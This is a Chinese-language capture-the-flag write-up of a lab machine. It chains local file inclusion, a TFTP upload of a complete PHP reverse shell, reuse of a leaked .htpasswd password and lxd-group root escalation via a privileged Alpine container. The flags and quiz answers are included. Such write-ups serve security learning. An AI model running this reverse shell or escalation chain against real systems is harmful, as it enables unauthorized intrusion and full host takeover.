AI摘要:该文章记录了一次渗透测试,利用Nmap发现目标服务器开放TFTP和Apache服务。通过LFI漏洞读取/etc/passwd,利用TFTP上传反向shell,获得www-data权限。发现.htpasswd文件获取mike用户密码,提权至mike用户。最后,利用mike用户所属的lxd组,通过构建alpine镜像并设置特权标志,成功提权至root用户,获取user.txt和root.txt。

本机ip:10.10.16.10
目标ip:101.29.95.185

nmap -sU 101.29.95.185
nmap -sV 101.29.95.185

Pasted image 20250705174515.png
Pasted image 20250705174845.png
可以看到关键服务是TFTP和Apache
首先访问http://10.129.95.185
Pasted image 20250705173836.png
从这里能明显看出,网页由php构建,我们还可以推断,Web 服务器可能容易受到 LFI 攻击,如前所述,因为 ?file=home.php 可以让我们假设 ?file 参数可以被修改以导航到服务器目录中的网页,如配置或备份文件。
修改文件目录指向/etc/passwd
Pasted image 20250705173857.png
整理出信息:

用户名UIDGID用户说明主目录默认 Shell
root00root/root/bin/bash
daemon11daemon/usr/sbin/usr/sbin/nologin
bin22bin/bin/usr/sbin/nologin
sys33sys/dev/usr/sbin/nologin
sync465534sync/bin/bin/sync
games560games/usr/games/usr/sbin/nologin
man612man/var/cache/man/usr/sbin/nologin
lp77lp/var/spool/lpd/usr/sbin/nologin
mail88mail/var/mail/usr/sbin/nologin
news99news/var/spool/news/usr/sbin/nologin
uucp1010uucp/var/spool/uucp/usr/sbin/nologin
proxy1313proxy/bin/usr/sbin/nologin
www-data3333www-data/var/www/usr/sbin/nologin
backup3434backup/var/backups/usr/sbin/nologin
list3838Mailing List Manager/var/list/usr/sbin/nologin
irc3939ircd/var/run/ircd/usr/sbin/nologin
gnats4141Gnats Bug-Reporting System (admin)/var/lib/gnats/usr/sbin/nologin
nobody6553465534nobody/nonexistent/usr/sbin/nologin
systemd-network100102systemd Network Management/run/systemd/netif/usr/sbin/nologin
systemd-resolve101103systemd Resolver/run/systemd/resolve/usr/sbin/nologin
syslog102106(空)/home/syslog/usr/sbin/nologin
messagebus103107(空)/nonexistent/usr/sbin/nologin
_apt10465534(空)/nonexistent/usr/sbin/nologin
lxd10565534(空)/var/lib/lxd//bin/false
uuidd106110(空)/run/uuidd/usr/sbin/nologin
dnsmasq10765534dnsmasq/var/lib/misc/usr/sbin/nologin
landscape108112(空)/var/lib/landscape/usr/sbin/nologin
pollinate1091(空)/var/cache/pollinate/bin/false
mike10001000mike/home/mike/bin/bash
tftp110113tftp daemon/var/lib/tftpboot/usr/sbin/nologin

使用TFTP作为攻击媒介

到目前为止,我们发现该机器似乎容易受到 LFI 的攻击,如果我们可以使用 TFTP 上传恶意脚本(例如反向 shell),那么我们就能够在浏览器中指向它,从而调用并运行我们的恶意脚本。
让我们首先创建我们的反向shell。

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }

    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);


    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }


    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }


    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?> 
tftp 10.129.95.185  
put reverse-shell.php  
exit

开启监听

nc -lvnp 4444

访问网址出发反向shell

http://10.129.95.185/?file=/var/lib/tftpboot/reverse-shell.php

监听得到回显
Pasted image 20250705180939.png
可以看到我们作为 www-data 进行访问,我们是网络服务器用来读取和写入特定文件的用户。
作为该用户,我们没有太多的访问权限,但我们知道我们可以以用户 www-data 的身份查看一些 /var/www/html 目录,所以让我们从那里开始。
Pasted image 20250705181253.png
通过-a指令,我们发现了隐藏密码文件.htpasswd
查看得到
Pasted image 20250705181513.png
用户:mike
密码:Sheffield19
我们需要提权到mike,那么我们就需要交互式shell
运行

python3 -c 'import pty;pty.spawn("/bin/bash")'

Pasted image 20250705181915.png
得到交互式命令行
接着提权

su mike

Pasted image 20250705182022.png
进入用户目录

cd /home/mike
ls

Pasted image 20250705182414.png

cat user.txt

Pasted image 20250705182446.png
拿到用户标识
a56ef91d70cfbf2cdb8f454c006935a1
接着我们需要想方法提权拿到root标识
首先查看mike的相关权限(id)
Pasted image 20250705182710.png
可以看到是lxd用户组,用于处理LXC

LXC容器通常被认为是介于 chroot 和成熟虚拟机之间的一种东西。LXC 的目标是创建一个尽可能接近标准 Linux 安装的环境,但无需单独的内核。

当我们作为该组中的用户具有访问权限时,我们可以使用一种名为“alpine”的东西来利用一台机器。
我们可以利用此漏洞
构建一个 Alpine 镜像并使用标志 security.privileged=true 启动它,强制容器以 root 身份与主机文件系统交互。
在我们的本地机器上,我们执行以下命令:

git clone https://github.com/saghul/lxd-alpine-builder  
cd lxd-alpine-builder  
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine  
sudo ./build-alpine -a i686

Pasted image 20250705190139.png
从本地服务器拉压缩包

wget 10.10.16.10:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

接着我们继续执行

lxc image import ./alpine*.tar.gz --alias myimage  
lxd init  
lxc init myimage mycontainer -c security.privileged=true  
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true  
lxc start mycontainer  
lxc exec mycontainer /bin/sh

获得权限root(id)
Pasted image 20250705191712.png
查找root.txt

cat `find / -name 'root.txt' 2>/dev/null`

Pasted image 20250705192205.png
拿到root标识
Pasted image 20250705192417.png
c693d9c7499d9f572ee375d4c14c7bcf

最后回答问题
问题 1:目标机器上通过 UDP 运行什么服务?

TFTP

问题2:托管在80端口的网页容易受到哪一类漏洞的攻击?请给出全名,而不是缩写。

Local File Inclusion

问题 3:TFTP 用于存储文件的默认系统文件夹是什么?

/var/lib/tftpboot/

问题 4:哪个有趣的文件位于 Web 服务器文件夹中并且可以用于横向移动?

.htpasswd

用户标志:提交位于 mike 用户主目录中的标志。

a56ef91d70cfbf2cdb8f454c006935a1

问题 5:用户 Mike 属于哪个组?可以利用该组进行权限提升吗?

LXD

问题 6:当使用镜像通过容器开发系统时,我们会寻找一个非常小的发行版。我们最喜欢的发行版以山脉命名。这个发行版叫什么名字?

alpine

问题 7:我们为容器设置什么标志,以便它在主机系统上拥有 root 权限?

security.privileged=true

问题 8:如果根文件系统在容器中挂载在 /mnt,那么在挂载主机系统后,可以在容器的哪里找到根标志?

/mnt/root/

ROOT FLAG:提交位于 root 主目录中的标志。

c693d9c7499d9f572ee375d4c14c7bcf
最后修改:2025 年 07 月 27 日
如果觉得我的文章对你有用,请随意赞赏